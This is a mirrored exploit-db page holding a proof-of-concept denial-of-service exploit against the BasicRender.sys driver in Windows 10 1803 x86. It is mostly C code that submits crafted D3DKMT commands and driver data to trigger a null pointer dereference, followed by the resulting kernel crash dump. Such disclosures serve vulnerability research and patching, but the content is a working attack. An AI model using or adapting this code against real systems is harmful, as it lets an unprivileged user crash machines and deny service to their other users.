Microsoft Windows 10 BasicRender.sys – Denial of Service (PoC)

  • 作者: vportal
    日期: 2019-12-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47797/
  • # Exploit Title: Microsoft Windows 10 BasicRender.sys - Denial of Service (PoC)
    # Date: 2019-12-20
    # Exploit author: vportal
    # Vendor homepage: http://www.microsoft.com
    # Version: Windows 10 1803 x86
    # Tested on: Windows 10 1803 x86
    # CVE: N/A
    
    # A Null pointer deference exists in the WARPGPUCMDSYNC function of the
    # BasicRender.sys driver. An unprivileged user can trigger the vulnerability
    # to crash the system and deny the service to the rest of the users.
    
    *PoC:*
    
    #include <Windows.h>
    #include <d3dkmthk.h>
    
    D3DKMT_CREATEDEVICE* device = NULL;
    device = new D3DKMT_CREATEDEVICE();
    
    D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
    D3DKMTEnumAdapters(&enumAdapter);
    device->hAdapter = enumAdapter.Adapters[1].hAdapter;
    logger(log_counter, "EnumAdapter");
    
    D3DKMTCreateDevice(device);
    
    D3DKMT_CREATECONTEXTVIRTUAL* contextVirtual = NULL;
    contextVirtual = new D3DKMT_CREATECONTEXTVIRTUAL();
    memset(contextVirtual, 0, sizeof(D3DKMT_CREATECONTEXTVIRTUAL));
    
    contextVirtual->hDevice = device->hDevice;
    
    char data[0x200] = { 0 };
    memset(data, 0xff, 0x200);
    
    contextVirtual->PrivateDriverDataSize = 0x200;
    contextVirtual->pPrivateDriverData = data;
    
    contextVirtual->ClientHint = D3DKMT_CLIENTHINT_DX10;
    contextVirtual->Flags.InitialData = 0x000001;
    contextVirtual->Flags.NullRendering = 0x0;
    
    D3DKMT_SUBMITCOMMAND* submitCommand = NULL;
    submitCommand = new D3DKMT_SUBMITCOMMAND();
    
    submitCommand->BroadcastContext[0] = 0x40000240;
    
    for (int i = 0; i < 0x10; i++)
     submitCommand->WrittenPrimaries[i] = 0x0;
    
    submitCommand->PresentHistoryToken = 0x100;
    submitCommand->Commands = 0x004b39;
    submitCommand->CommandLength = 0x00000d;
    submitCommand->BroadcastContext[0] = contextVirtual->hContext;
    submitCommand->BroadcastContextCount = 0x1;
    submitCommand->Flags.PresentRedirected = 0x1;
    
    submitCommand->PrivateDriverDataSize = 0x130;
    
    char* PrivateData = NULL;
    PrivateData = new char[submitCommand->PrivateDriverDataSize];
    memset(PrivateData, 0x00, submitCommand->PrivateDriverDataSize);
    
    *(DWORD*)(PrivateData + 0x118) = 0x434e5953;
    *(DWORD*)(PrivateData + 0x11c) = 0x18;
    *(DWORD*)(PrivateData + 0x120) = 0x000110;
    *(DWORD*)(PrivateData + 0x124) = 0x000420;
    *(DWORD*)(PrivateData + 0x128) = 0x0;
    *(DWORD*)(PrivateData + 0x12c) = 0x000428;
    
    submitCommand->pPrivateDriverData = PrivateData;
    
    D3DKMTSubmitCommand(submitCommand);
    
    
    --------------------------------------------------------------------------
    *Crash dump*:
    
    STACK_TEXT:
    8afae92c 8fe82cb2 8afae958 fffffffd 0000048c
    BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc
    8afae94c 8fe8267d bb26afe8 00000000 bb26afe0
    BasicRender!WARPKMCONTEXT::SubmitVirtual+0x4a
    8afae9a8 8fca6af5 91e05000 bb26afe0 93dfc000
    BasicRender!WarpKMSubmitCommandVirtual+0x87
    8afae9fc 8fc2a934 8afaea68 8afaeac0 92b19db6
    dxgkrnl!ADAPTER_RENDER::DdiSubmitCommandVirtual+0x115
    8afaea08 92b19db6 90114c30 8afaea68 b78da008
    dxgkrnl!ADAPTER_RENDER_DdiSubmitCommandVirtual+0x10
    8afaeac0 92b4ac94 93dfc000 cd6ee008 cc6d8860
    dxgmms2!VidSchiSendToExecutionQueue+0x526
    8afaeb90 92b764a9 00000000 945f5a80 00000000
    dxgmms2!VidSchiSubmitRenderVirtualCommand+0x534
    8afaebb8 81ee80bc 93dfc000 28e5f697 00000000
    dxgmms2!VidSchiWorkerThread+0x1a1
    8afaebf0 81fe952d 92b76308 93dfc000 00000000 nt!PspSystemThreadStartup+0x4a
    8afaebfc 00000000 00000000 bbbbbbbb bbbbbbbb nt!KiThreadStartup+0x15
    
    eax=8afae958 ebx=00000000 ecx=00000000 edx=00000000 *esi*=00000000
    edi=bb26afd8
    eip=8fe8386c esp=8afae920 ebp=8afae92c iopl=0 nv up ei pl zr na pe
    nc
    cs=0008ss=0010ds=0023es=0023fs=0030gs=0000
    efl=00010246
    BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc:
    8fe8386c c7061060e88fmov dword ptr [esi],offset
    BasicRender!WARPGPUCMDSYNC::`vftable' (8fe86010) ds:0023:00000000=????????
    Resetting default scope
    
    --------------------------------------------------------------------------------
    
    The vulnerability has only been testedin Windows 10 x86 1803.
    CVSS Base Score: 5.5
    Credit: Victor Portal